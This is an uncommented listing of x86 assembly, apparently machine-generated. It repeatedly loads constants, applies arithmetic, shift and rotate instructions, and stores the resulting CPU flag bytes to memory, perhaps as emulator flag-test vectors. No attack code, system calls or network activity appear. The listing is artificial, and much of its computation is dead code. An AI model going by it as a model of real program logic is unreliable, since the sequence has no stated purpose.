mov edx, 0x5081b21b
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xa10abee9
shl edx, 1
mov edx, 0xc9cc5208
rol edx, 1
mov ebx, 0x319a4ce8
mov edx, 0x3acbf516
add ebx, edx
mov eax, 0x8ec0be2b
aaa
mov ebx, 0x354a7500
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x23a2e772
mov ecx, 0x6b6d6f47
ror eax, cl
mov eax, 0x3dfed9c3
mov ecx, 0x45b910f5
rol eax, cl
mov eax, 0xa2477135
mov ecx, 0xd98629e6
shl eax, cl
mov ebx, 0x21222ab5
mov ecx, 0xeeeda8e9
ror ebx, cl
mov ebx, 0xef8351f5
rol ebx, 1
mov ebx, 0x693ac217
rol ebx, 1
mov edx, 0x2bf4bb7f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x82ee7c80
sal eax, 0x59
mov ecx, 0x1c64532
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x9dd90f38
dec ecx
mov edx, 0x3e95608c
mov ecx, 0x1e4c90ec
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xece039e7
shl eax, 0x49
mov eax, 0x22d33d8f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x56aa5d9c
sal eax, 1
mov ebx, 0xbe5ae8cf
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x9e03d7f2
sar eax, 0x67
mov ecx, 0x15acdfce
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6e44f50b
mov ecx, 0x93570f56
ror edx, cl
mov edx, 0x78aecb26
mov ecx, 0xfd296d2a
ror edx, cl
mov eax, 0x225b2b9c
inc eax
mov eax, 0x740dc3dd
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xa2287a7c
mov ecx, 0x6b41b369
sub edx, ecx
mov ebx, 0xce8281e0
inc ebx
mov edx, 0x5bef7012
mov ecx, 0x50ceafd1
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8c02062f
inc ebx
mov eax, 0x995a7fee
mov ecx, 0xc505fa69
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8fbd57b0
rol edx, 1
mov ebx, 0x265f5b20
mov ecx, 0xfefe8006
ror ebx, cl
mov edx, 0xefd6e969
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x29e5f4c2
mov eax, 0xccbaeb8d
add ecx, eax
mov edx, 0x3db174ba
mov ecx, 0x7858237c
ror edx, cl
mov eax, 0x790ff988
dec eax
mov ebx, 0x47d2e3eb
mov ecx, 0xc25d05fa
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9556ada3
add edx, 0xf9d71caa
mov eax, 0x64fd3726
rol eax, 1
mov eax, 0x94491c86
mov ecx, 0x2a50ce70
ror eax, cl
mov ebx, 0x10b0385f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc66b2f61
mov ecx, 0x27ba4c82
ror eax, cl
mov eax, 0x205bb125
sal eax, 1
mov edx, 0x52325804
mov ecx, 0xfa3d8fc1
shl edx, cl
mov edx, 0xe8d7db30
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa42ec3a2
mov ecx, 0xa6a9e196
rol edx, cl
mov ebx, 0x5db5bf48
mov ecx, 0xc5ecdfd6
ror ebx, cl
mov ebx, 0x2eeec62f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x36e37288
mov ecx, 0xaf12eaa2
shl edx, cl
mov ebx, 0xe6a7321
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc29771
rol eax, 1
mov edx, 0x95599cd8
rol edx, 1
mov ebx, 0x16064540
mov ecx, 0xd8e1a14d
rol ebx, cl
mov eax, 0xcc8d9480
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf243451f
mov ecx, 0xc0c08d3c
sub eax, ecx
mov edx, 0x706fc0ef
rol edx, 1
mov edx, 0x922620c9
sal edx, 1
mov ebx, 0xbffe8236
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x24ae8391
mov edx, 0xd24fca8d
add eax, edx
mov eax, 0xebc8fd4a
aaa
mov ecx, 0x6a120dff
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1e5b001e
rol eax, 1
mov ecx, 0xb2fc4788
sub ecx, 0x2d8586a5
mov edx, 0xd351f51f
mov ecx, 0x6078ec8a
ror edx, cl
mov ecx, 0x2e9a3a0f
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x903ef7ff
mov ecx, 0x78f94e82
rol ebx, cl
mov ecx, 0x7ad8e2ff
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xd6527f0a
sal edx, 1
mov ecx, 0xe714799f
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x446aef1f
inc eax
mov ebx, 0xf6c2a23f
mov ecx, 0x170d656a
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1ac5b318
rol ebx, 1
mov ebx, 0xc7d4609c
mov ecx, 0x192785f6
rol ebx, cl
mov ebx, 0x85be78b6
rol ebx, 1
mov ebx, 0x99b181f0
mov ecx, 0xc458bc62
ror ebx, cl
mov eax, 0x2f7a06a1
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x33d2b292
mov ecx, 0xde5d5479
ror edx, cl
mov ebx, 0x7a00ca0d
mov ecx, 0xc8833cc6
sal ebx, cl
mov eax, 0x3119a790
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xda8dd575
mov ecx, 0x4f24697b
rol ebx, cl
mov edx, 0x528ef1e4
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x80fdcbdf
sub edx, 0x31f2e825
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd4aec55
mov ecx, 0xd2b5b3b2
rol ebx, cl
mov edx, 0x1c8f3933
sub edx, 0xeb1c5310
mov eax, 0xc47b2705
rol eax, 1
mov edx, 0xdcb01646
rol edx, 1
mov edx, 0x13dc44b5
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2746dae
mov ecx, 0x1a479c33
ror edx, cl
mov eax, 0x23374291
add eax, 0xf0a4c410
mov eax, 0xe096c86
aas
mov ebx, 0x48275dbb
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x70be58cd
rol ebx, 1
mov edx, 0xa55c9ae1
mov ecx, 0x57cf41c5
shl edx, cl
mov edx, 0xb4b964fb
mov ecx, 0xc6807a5c
ror edx, cl
mov eax, 0x130ee693
mov ecx, 0x509c01a
ror eax, cl
mov ebx, 0x54041d73
cmp ebx, 0x2dedaccc
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2da5380a
mov ecx, 0x1f9cd29f
ror ebx, cl
mov ebx, 0x7aa3e41b
dec ebx
mov eax, 0xca15b49a
mov ecx, 0xa7cce437
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x810bc42d
cmp eax, 0x7be8fe33
mov eax, 0x6e94d9b8
aaa
mov ebx, 0x793234ae
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf6f534ba
mov ecx, 0xfc2ca7fa
rol ebx, cl
mov ebx, 0xfadc2d8
mov ecx, 0xa4c45c1e
rol ebx, cl
mov edx, 0x49303cc3
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x20c7f6aa
shl edx, 1
mov edx, 0x38b6addf
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x8089f31a
rol eax, 1
mov ecx, 0xa7f2e999
cmp ecx, 0x6e439ec4
mov eax, 0xb4ecfa9e
aas
mov ebx, 0x194cbaaf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x37c8d040
dec edx
mov eax, 0x874c505
mov ecx, 0x78474a0a
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x293fb588
dec eax
mov eax, 0x76a4da35
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3a28f6d3
mov ecx, 0x504b7b18
rol eax, cl
mov eax, 0x457290b6
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1704e3d9
sal edx, 0x22
mov eax, 0x32e98c62
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x421887fc
mov ebx, 0xa471f91b
sub ecx, ebx
mov eax, 0x8de25591
aaa
mov edx, 0xa62e29be
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x4d06e929
mov ecx, 0xcfc7f4b1
sub edx, ecx
mov ebx, 0xe967ebc1
mov ecx, 0x49266ea9
rol ebx, cl
mov edx, 0x50c978da
cmp edx, 0xd3ce7e07
mov ebx, 0xf68d312f
mov ecx, 0x5b24ad9c
rol ebx, cl
mov eax, 0x8823debf
rol eax, 1
mov ebx, 0xa438373c
mov ecx, 0xd89b2e9b
rol ebx, cl
mov eax, 0xbbc375c6
mov ecx, 0xbb72dc26
sal eax, cl
mov edx, 0x235eecf
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x42edab7a
rol eax, 1
mov eax, 0x316ef2ac
inc eax
mov ebx, 0xf67acced
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2aa0080c
cmp ecx, 0x1659b9eb
mov eax, 0xf22a39f0
aaa
mov edx, 0x6f6f084
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x71efd8b3
mov ecx, 0xfecebc90
ror eax, cl
mov ebx, 0x39dac742
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x6383f3ff
mov ecx, 0x7900ee61
cmp edx, ecx
mov eax, 0x6818e515
aas
mov edx, 0x748813f
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xdf634e2c
mov ecx, 0xa9927dc6
ror ebx, cl
mov edx, 0xd7dbdcf4
mov ecx, 0xd8ea8279
ror edx, cl
mov eax, 0x7d8de2d4
mov ecx, 0x9e245a72
ror eax, cl
mov ebx, 0x5625bbec
sub ebx, 0x23fa0b7e
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x27237102
rol ebx, 1
mov ebx, 0x1295e398
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xee40e85
inc eax
mov ebx, 0x355020f6
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5d8b3055
mov ecx, 0x275a3e77
ror ebx, cl
mov eax, 0x410de975
mov ecx, 0x3fa4d2d6
sar eax, cl
mov edx, 0x3417b13f
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa27e3ad6
rol eax, 1
mov ebx, 0x23650f3c
mov eax, 0x83ad482
add ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x7b198ff1
dec ecx
mov edx, 0xdb54ac24
mov ecx, 0x4aa7540c
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd369b46c
mov ecx, 0x71f07659
rol edx, cl
mov ebx, 0x3d2560f6
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x47b97333
mov ecx, 0x17fe1ec6
add ebx, ecx
mov ebx, 0x622715a6
mov ecx, 0x2ce67365
ror ebx, cl
mov edx, 0xd501d436
mov eax, 0x2fa61005
cmp edx, eax
mov ebx, 0x31033d2a
mov ecx, 0xbdb20e45
shl ebx, cl
mov ebx, 0x741a9288
shl ebx, 1
mov edx, 0x77358ddf
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xf19c6bd5
mov ecx, 0x2d0f8e66
rol eax, cl
mov eax, 0x21469063
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x43a02d01
aaa
mov eax, 0xbe3ac2f2
rol eax, 1
mov edx, 0xe81d4119
rol edx, 1
mov eax, 0x76bcb034
mov ecx, 0x12af4005
shl eax, cl
mov ecx, 0xbec0816e
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x9d3146a7
rol ebx, 1
mov ebx, 0x57f02e0f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x34a1dca9
rol edx, 1
mov eax, 0x423d0f2
mov ecx, 0x69521d0a
ror eax, cl
mov edx, 0xc89ea241
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x8811f0b7
mov ecx, 0xf0389110
rol eax, cl
mov ebx, 0x8e50e9e5
mov ecx, 0x2849e9fa
add ebx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xc60943b5
mov ebx, 0x400eaab2
add ecx, ebx
mov eax, 0x2c28f34c
aas
mov ecx, 0x40ad694f
inc ecx
mov edx, 0x3aa97fcc
mov ecx, 0xee306404
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x53486cac
inc ebx
mov eax, 0x43600908
mov ecx, 0x5b6312f3
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x38d8c76b
add eax, 0x34316309
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xe2accfe2
mov ecx, 0x1b75a1b3
cmp edx, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1ef3a995
rol edx, 1
mov edx, 0x2a1aa770
dec edx
mov edx, 0xcde6c256
rol edx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xb3be3137
cmp ecx, 0x9c1f306f
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x5a010ee3
mov ecx, 0x13e88882
ror ebx, cl
mov edx, 0x8e739661
add edx, 0xe13020e2
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x42756054
mov ecx, 0x45ac2344
sal edx, cl
mov ecx, 0x6d294b92
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x6d6ae54f
shl eax, 1
mov ecx, 0x8ea42fa7
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xeae9598d
cmp ebx, 0x336e3836
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x61346ec6
mov ecx, 0xbc07628a
rol ebx, cl
mov ebx, 0x6dcff539
mov ecx, 0xfe2e4083
ror ebx, cl
mov ecx, 0x43e1c630
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4478f673
inc eax
mov eax, 0x729ad105
mov ecx, 0x3b45711b
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x294d98ca
dec ebx
mov edx, 0xffbd2344
mov ecx, 0xb14c308
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xbd0a5669
mov ecx, 0x69750cf1
rol edx, cl
mov edx, 0x614470ce
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbac2d209
sub edx, 0xd0d31917
mov eax, 0xa72f6084
aas
mov eax, 0x4d27206c
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe16c4e75
mov ecx, 0xba1f75f3
rol eax, cl
mov edx, 0x61e9d4c1
mov ecx, 0x2a70d105
sal edx, cl
mov edx, 0xd788716f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x911bd84e
cmp ecx, 0x32b81f8c
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xa0d08f36
rol edx, 1
mov ebx, 0xde8c26ac
mov ecx, 0xf7bfea21
rol ebx, cl
mov edx, 0x532bae
rol edx, 1
mov eax, 0x44915f6
rol eax, 1
mov ecx, 0xcb7c70bf
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x46bda11c
dec ecx
mov edx, 0x91b9eecb
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbef14d00
mov ecx, 0x36981733
rol eax, cl
mov ebx, 0x40b0707e
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x75c86fad
mov ecx, 0xb66b548d
ror edx, cl
mov ecx, 0xeed4711f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbd17deab
mov ecx, 0xb5043986
cmp edx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x1aa581b5
mov ecx, 0xa09c0f9d
ror eax, cl
mov ebx, 0xf1e1d6e0
shl ebx, 1
mov eax, 0x146947df
mov ecx, 0x16f07d18
shl eax, cl
mov eax, 0x4f9baa5f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3202cd70
mov ecx, 0x374d0715
ror edx, cl
mov edx, 0x116fd8b9
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbf67c0fb
mov ecx, 0xb7264bec
rol eax, cl
mov eax, 0xf30a80e4
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9af392fc
dec edx
mov eax, 0x756b0b6e
mov ecx, 0x32ba3928
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x5a5e4eef
inc edx
mov ebx, 0xbe6a5452
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4a106ca5
rol eax, 1
mov eax, 0x10700c1f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x297a8b2c
inc ecx
mov eax, 0x634661c3
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x951ee835
mov ecx, 0x559702c
ror ebx, cl
mov eax, 0x6913048
mov ecx, 0x58b8b3b2
rol eax, cl
mov eax, 0x3ffcac1a
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x9294dac8
mov ecx, 0x56e7f11b
rol ebx, cl
mov eax, 0xf7693d9
shl eax, 1
mov edx, 0xce99b76c
cmp edx, 0xc55ee39c
mov eax, 0x6a214bc4
sal eax, 1
mov edx, 0x8bc45df0
mov ecx, 0xb6d7154f
rol edx, cl
mov eax, 0x28773c0e
cmp eax, 0xace46565
mov ebx, 0xd512e513
rol ebx, 1
mov eax, 0x625528df
mov ecx, 0x790c414a
ror eax, cl
mov eax, 0xa437fddc
rol eax, 1
mov eax, 0x6d6c604f
inc eax
mov eax, 0x9b14c4a
mov ecx, 0xf4589b7b
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3f3d8d1e
mov ecx, 0x9894d688
ror ebx, cl
mov ebx, 0x2893372
add ebx, 0x28e6347
mov ebx, 0xa302963f
inc ebx
mov edx, 0xed4e1088
mov ecx, 0xe04935b1
rol edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x1d571c81
mov eax, 0x30444234
add ecx, eax
mov eax, 0x604f9f6c
aas
mov edx, 0xc5baf8f
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe0dc0a9
aaa
mov edx, 0xe541f141
sub edx, 0x9ae69e2e
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x51f3168
inc ebx
mov ebx, 0xd43ba991
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x493957c7
inc ebx
mov eax, 0x3ff53d4a
mov ecx, 0xc92c5185
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x86308dc4
sal ebx, 0xde
mov ebx, 0x53bb64db
mov ecx, 0x584a78ff
sal ebx, cl
mov edx, 0x26811e3d
rol edx, 1
mov eax, 0x21a0eef
inc eax
mov eax, 0xfd3573bc
mov ecx, 0x336c63c4
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xa422038b
mov ecx, 0x9dedcacc
ror ebx, cl
mov ebx, 0x6f2136aa
sub ebx, 0x8f4688f3
mov edx, 0x42e20f13
mov ebx, 0x86736660
sub edx, ebx
mov edx, 0xfcd9136a
sub edx, 0xf69e866d
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6e113e7e
aaa
mov edx, 0x9d7c4b5b
rol edx, 1
mov ecx, 0x15684383
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf9ba079d
mov eax, 0x306bc036
sub ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x4e364d1d
mov eax, 0xf137f712
add ecx, eax
mov eax, 0x8910719c
aaa
mov eax, 0xbaccb7bf
shl eax, 1
mov ebx, 0x7991812f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x58ce3d7d
rol edx, 1
mov ebx, 0xe9013290
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x43000f42
mov ecx, 0x1583401d
ror eax, cl
mov edx, 0x478ab257
rol edx, 1
mov eax, 0x6573cdbe
mov ecx, 0x3de229d1
rol eax, cl
mov eax, 0xde658c9d
mov ecx, 0x1b5cfee4
ror eax, cl
mov ebx, 0xa6de4e4d
mov ecx, 0xe0bf6d9b
cmp ebx, ecx
mov ebx, 0x851142cf
mov edx, 0x676e90d
sub ebx, edx
mov edx, 0x589df6a7
mov ecx, 0xbb74ea4a
ror edx, cl
mov edx, 0xc93c85c2
mov ecx, 0x26c52da8
add edx, ecx
mov ecx, 0xcab86c44
mov ebx, 0x9091915e
cmp ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x12efd467
mov ecx, 0x83ce483a
rol edx, cl
mov ebx, 0xc001a433
mov ecx, 0x51e8f4dc
ror ebx, cl
mov eax, 0xf22c286b
mov ebx, 0xb4f593c7
sub eax, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xceeb5505
add ecx, 0xe448ad46
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7bf9e752
sar edx, 0xc1
mov eax, 0xa71cfa2f
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x12066b5
mov ecx, 0x78233a09
ror edx, cl
mov ecx, 0x9c117adc
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3a6fd314
rol eax, 1
mov ebx, 0x7ebd8946
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x23ac7446
rol ebx, 1
mov eax, 0x821edfa4
mov ecx, 0x8659277e
ror eax, cl
mov edx, 0xaececf83
mov ebx, 0x61effba8
sub edx, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa23d7910
rol eax, 1
mov edx, 0xdbf5473e
mov ecx, 0x552c863b
ror edx, cl
mov edx, 0xcea90fc1
mov ecx, 0x523092c4
ror edx, cl
mov edx, 0x366dda84
sal edx, 1
mov edx, 0xaef051af
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x8e680498
add ecx, 0x8281fcc8
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xaba27db
sal eax, 1
mov ebx, 0x37126744
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xbb4670e3
mov ebx, 0x4107122a
add eax, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x63ccff25
aas
mov ebx, 0xb2cd3e51
cmp ebx, 0xc782c4d1
mov eax, 0x57fc16af
aaa
mov ecx, 0x3aa7e8df
inc ecx
mov eax, 0xda43ad3a
mov ecx, 0x43f25f76
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x2995a964
sar ebx, 0xd4
mov ecx, 0x677683ef
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa2056723
mov ecx, 0xb25a5a67
add edx, ecx
mov edx, 0x5c7a5476
rol edx, 1
mov ebx, 0xbe1805e7
mov ecx, 0xadfbbbbd
rol ebx, cl
mov ebx, 0x42d83c15
sar ebx, 0x4f
mov eax, 0xc4e45edf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8b3288ad
rol edx, 1
mov edx, 0x125179b0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xa6bca58e
mov ecx, 0x7645a5f2
cmp ebx, ecx
mov eax, 0xf8112068
sar eax, 0xe2
mov ecx, 0x2ff3833f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x62ca9afa
mov ecx, 0xe3529ea
ror eax, cl
mov ebx, 0x449c40eb
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8b347ae1
mov ecx, 0x4e0772d0
rol edx, cl
mov ebx, 0x26a07ea6
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x70e8ed7b
shl eax, 1
mov edx, 0xbe3d55bd
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x9e71f4d0
mov ecx, 0x14560980
add ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8348f5e1
sal eax, 0xfb
mov ecx, 0x1f1db99b
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf4ea485f
dec edx
mov ebx, 0x75b688c0
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x59cbbaec
cmp ebx, 0x45a89800
mov eax, 0x6ffd5ffa
aas
mov ebx, 0xda683dc7
cmp ebx, 0xde818713
mov eax, 0xe1bdcf1e
aas
mov eax, 0x696b23ff
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x23125dff
mov ecx, 0x29d5b54
ror edx, cl
mov edx, 0xcd0db0df
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x9b3c9538
mov ecx, 0xf92fc8a8
ror edx, cl
mov eax, 0x2f283f92
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x292acd4b
mov ecx, 0x7215c542
sal ebx, cl
mov ebx, 0x35f78d91
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x85ced025
rol edx, 1
mov eax, 0x8ae73145
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xfe7e5fe4
inc edx
mov ebx, 0x7718689f
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x1ae2d753
neg ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x2f65cbce
mov ecx, 0x105cd04f
rol edx, cl
mov ebx, 0x479a6e57
mov edx, 0x98cb0e16
add ebx, edx
mov edx, 0x26118997
dec edx
mov ebx, 0xb57c4920
mov ecx, 0x146f4b94
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x3814a878
rol edx, 1
mov eax, 0x22e5ddaa
cmp eax, 0xd1ba5a30
mov eax, 0x59b227ce
rol eax, 1
mov ebx, 0xd8ac6547
rol ebx, 1
mov edx, 0x4fd6a773
mov eax, 0x625783f0
sub edx, eax
mov eax, 0xd879a18d
mov ecx, 0x2140dc96
ror eax, cl
mov edx, 0xc93bdca3
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x72220a55
mov ecx, 0xe3ed9684
rol eax, cl
mov eax, 0xba8ab4e5
mov edx, 0xa8fb5562
add eax, edx
mov ecx, 0x44fd35ef
mov eax, 0xa5f27693
cmp ecx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x14aa39e
aaa
mov eax, 0x80aa75b
mov ecx, 0xa87bbff1
sub eax, ecx
mov eax, 0xc92dbf21
aas
mov edx, 0x2eaeed99
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3e4781ca
mov ecx, 0x6586dbbc
ror eax, cl
mov edx, 0x5412d969
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xc1a9c
dec ebx
mov eax, 0x3c36962f
mov ecx, 0xf9d15065
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6b1a32c3
mov ecx, 0xc5c5f8ab
ror edx, cl
mov ecx, 0x1ed403f0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6d220e18
mov eax, 0x3b37bf3
add ebx, eax
mov eax, 0x8aa59e93
aas
mov ebx, 0x5a8851b7
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x3fa35fc4
mov ecx, 0x62d2721a
rol eax, cl
mov ebx, 0x6715a2b5
mov ecx, 0x98ccb7d6
rol ebx, cl
mov ebx, 0xbce80112
mov edx, 0x4f012df9
add ebx, edx
mov eax, 0x4b83eb52
aas
mov eax, 0x6d2c03e6
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x353a80c4
shl edx, 0xa6
mov eax, 0x3b1d82c6
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x245fa328
mov ecx, 0x34fecf58
ror edx, cl
mov eax, 0xb637e7f0
dec eax
mov ebx, 0x7a101adc
mov ecx, 0x7ed30f10
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7f1b4975
mov ecx, 0x952ac803
rol ebx, cl
mov edx, 0x9f826fc5
rol edx, 1
mov edx, 0x6a835e5e
shl edx, 1
mov ebx, 0xd02c5581
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xcb652d91
mov ecx, 0x9c5caeaf
rol edx, cl
mov eax, 0xdcaf9f5f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x5d028886
rol eax, 1
mov ebx, 0x896a8fdd
mov ecx, 0x2b55f59d
ror ebx, cl
mov eax, 0x1e46f37e
rol eax, 1
mov ecx, 0xa7003040
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
